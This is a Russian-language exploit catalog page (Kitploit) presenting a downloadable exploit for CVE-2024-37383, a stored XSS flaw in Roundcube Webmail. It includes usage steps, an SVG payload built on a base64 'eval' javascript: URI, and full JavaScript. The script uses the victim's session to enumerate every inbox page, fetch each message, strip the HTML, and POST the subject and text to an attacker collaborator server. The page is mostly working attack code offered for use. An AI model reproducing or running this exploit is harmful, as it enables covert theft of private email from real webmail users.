Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-37383-exploit — Эксплойт почтового сервера Roundcube для CVE-2024-37383 (Stored XSS) | Kitploit
Инструменты/GitHubGitHub/amirzargham/cve-2024-37383-exploit
Инструменты фишингаГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхБезопасность Электронной Почты
GitHubamirzargham/cve-2024-37383-exploit

CVE-2024-37383-exploit

Эксплойт почтового сервера Roundcube для CVE-2024-37383 (Stored XSS)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
151 год назадЕщё не проверено

Название эксплойта: Эксплойт почтового сервера Roundcube для CVE-2024-37383 (хранимая XSS)

Google Dork:

Автор эксплойта: AmirZargham

Домашняя страница вендора: Roundcube - бесплатное и открытое веб-программное обеспечение электронной почты

Ссылка на программное обеспечение: Релизы · roundcube/roundcubemail

Версия: версия клиента Roundcube ранее 1.5.6 или с 1.6 по 1.6.6.

Протестировано на: firefox,chrome

CVE: CVE-2024-37383

CWE: CWE-79

Платформа: несколько

Тип: веб-приложения

Описание:

Уязвимость CVE-2024-37383 была обнаружена в веб-клиенте электронной почты Roundcube Webmail. Это хранимая XSS-уязвимость, которая позволяет злоумышленнику выполнять JavaScript-код на странице пользователя. Чтобы воспользоваться уязвимостью, злоумышленнику достаточно открыть вредоносное электронное письмо с помощью клиента Roundcube версии ранее 1.5.6 или с 1.6 по 1.6.6.

Использование:

1- откройте Roundcube_mail_server_exploit_for_CVE-2024-37383.js.

2- Измените веб-адрес исходного электронного письма (target) и URL принимающего сервера (attacker server).

3- Вы можете поместить код в тег файла SVG и отправить его на сервер. (Рекомендуется настроить SMTP-сервер для отправки вредоносного письма)

root@kitploit:~
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>

4 - После того как жертва нажмёт, все письма из почтового ящика будут отправлены на ваш сервер collaborator.

Этот код автоматизирует процесс получения всех писем из входящих сообщений сервера Roundcube webmail и пересылки этих данных на конкретную конечную точку сервера collaborator.

Вот пошаговый разбор:

1. Настройка URL:

Основной URL веб-почты (target) и URL принимающего сервера (attackerserver) задаются как переменные в начале для удобной настройки.

2. Получение общего количества страниц:

Функция getPageCount отправляет GET-запрос на основной URL веб-почты для получения метаданных, включая общее количество страниц (pagecount). Если pagecount найден, она перебирает каждую страницу.

3. Получение ID сообщений со всех страниц:

Для каждой страницы с 1 по pagecount формируется URL с постраничной навигацией для запроса этой страницы. Ответ каждой страницы проверяется на наличие экземпляров add_message_row(NUMBER) с помощью регулярного выражения; из каждого такого экземпляра извлекаются ID сообщений, и все ID собираются в единый список.

4. Получение содержимого каждого сообщения:

Для каждого ID сообщения код формирует URL для запроса подробных данных об этом сообщении. Он отправляет GET-запрос по URL для каждого ID и получает полный HTML-ответ.

5. Извлечение и очистка данных сообщения:

В каждом ответе сообщения с помощью регулярного выражения извлекаются (тема сообщения) и основное содержимое сообщения. Из содержимого удаляются все HTML-теги, чтобы остался только обычный текст.

6. Отправка данных на сервер:

Для каждого извлечённого сообщения на конечную точку сервера отправляется POST-запрос с темой и очищенным содержимым сообщения, закодированными в URL для корректной передачи.

root@kitploit:~
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';

function getPageCount(url) {
    var req = new XMLHttpRequest();

    // Configure the request with credentials
    req.open('GET', url, true);
    req.withCredentials = true;

    // Define the response handler
    req.onload = function() {
        if (req.status === 200) {
            try {
                // Parse the response as JSON
                let jsonResponse = JSON.parse(req.responseText);

                // Access the pagecount field
                let pageCount = jsonResponse.env.pagecount;

                if (pageCount !== undefined) {
                    // Array to store all message IDs
                    let allMessageIds = [];
                    let completedRequests = 0; // Track the number of completed requests

                    // Loop to request each page
                    for (let page = 1; page <= pageCount; page++) {
                        (function(currentPage) {
                            var pageReq = new XMLHttpRequest();
                            // Construct the URL with the current page number
                            var paginatedUrl = `${url}&_page=${currentPage}`;

                            // Configure the request
                            pageReq.open('GET', paginatedUrl, true);
                            pageReq.withCredentials = true;

                            // Define the response handler for each page
                            pageReq.onload = function() {
                                if (pageReq.status === 200) {
                                    try {
                                        // Get the response text
                                        let responseText = pageReq.responseText;

                                        // Use a regex to find all instances of this.add_message_row(NUMBER)
                                        let messageRowRegex = /this\.add_message_row\((\d+)/g;
                                        let matches;

                                        // Find all matches and extract the numbers
                                        while ((matches = messageRowRegex.exec(responseText)) !== null) {
                                            allMessageIds.push(matches[1]);
                                        }

                                    } catch (error) {
                                        // Error handling for page processing
                                    }
                                }
                                completedRequests++; // Increment completed request count
                                // Check if all requests are completed
                                if (completedRequests === pageCount) {
                                    // Loop through all message IDs and create URLs using each one
                                    allMessageIds.forEach(id => {
                                        // Construct a new URL with the current message ID
                                        const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;

                                        // Make a request for each constructed URL
                                        (function(currentUrl) {
                                            var messageReq = new XMLHttpRequest();
                                            messageReq.open('GET', currentUrl, true);
                                            messageReq.withCredentials = true;

                                            // Define the response handler for the message request
                                            messageReq.onload = function() {
                                                if (messageReq.status === 200) {
                                                    // Get the response text
                                                    let messageResponseText = messageReq.responseText;

                                                    // Extract <title> content using regex
                                                    let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
                                                    let title = titleMatch ? titleMatch[1] : "No Title";

                                                    // Use regex to extract the main message content
                                                    var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
                                                    let messageMatches;
                                                    while ((messageMatches = regex.exec(messageResponseText)) !== null) {
                                                        // Clean HTML tags from the message content
                                                        let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags

                                                        // Send the cleaned message and title to the user via POST request
                                                        sendMessageToUser(cleanMessage.trim(), title);
                                                    }
                                                }
                                            };

                                            // Handle network errors for message request
                                            messageReq.onerror = function() {
                                                // Error handling for message request
                                            };

                                            // Send the request for the current message URL
                                            messageReq.send();
                                        })(newUrl);
                                    });
                                }
                            };

                            // Handle network errors for page request
                            pageReq.onerror = function() {
                                completedRequests++; // Increment completed request count even on error
                            };

                            // Send the request for the current page
                            pageReq.send();
                        })(page);
                    }
                }
            } catch (error) {
                // Error handling for JSON parsing
            }
        }
    };

    // Handle network errors for initial request
    req.onerror = function() {
        // Error handling for initial request
    };

    // Send the request
    req.send();
}

// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
    var postReq = new XMLHttpRequest();
    postReq.open('POST', attackerserver, true);
    postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    // Define the response handler for the POST request
    postReq.onload = function() {
        // Response handler for successful send
    };

    // Handle network errors for sending message
    postReq.onerror = function() {
        // Error handling for message send
    };

    // Send the POST request with the URL-encoded title and message content
    postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}

// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);
Скачать инструмент